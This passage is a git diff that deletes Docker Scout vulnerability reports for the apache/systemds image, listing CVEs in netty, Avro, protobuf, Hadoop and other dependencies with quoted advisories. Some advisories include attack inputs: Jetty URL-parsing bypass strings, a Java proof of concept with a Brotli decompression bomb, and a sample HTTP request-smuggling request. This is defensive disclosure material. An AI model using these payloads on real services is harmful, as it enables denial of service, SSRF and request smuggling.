Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output6.md b/docker/scout_results/multiple-high-CVEs/sysds_output6.md deleted file mode 100644 index 78586b7e953..00000000000 --- a/docker/scout_results/multiple-high-CVEs/sysds_output6.md +++ /dev/null @@ -1,2645 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:2bb5b23b2b7d8a830051e63f94110519fb56a4ca073b1b82cb451946da904496
vulnerabilitiescritical: 4 high: 18 medium: 39 low: 10 unspecified: 1
platformlinux/amd64
size381 MB
packages353
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) - -pkg:maven/org.apache.avro/avro@1.11.2
-critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
- -
Description -
- -Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. -Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. - -
-
- -high 7.5: CVE--2023--39410 Improper Input Validation - - - - - - - - -
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
- -
Description -
- -When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. - -This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-critical : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
- -
Description -
- - - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) - -pkg:maven/org.apache.kerby/kerb-admin@1.0.1
-critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
- -
Description -
- -An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
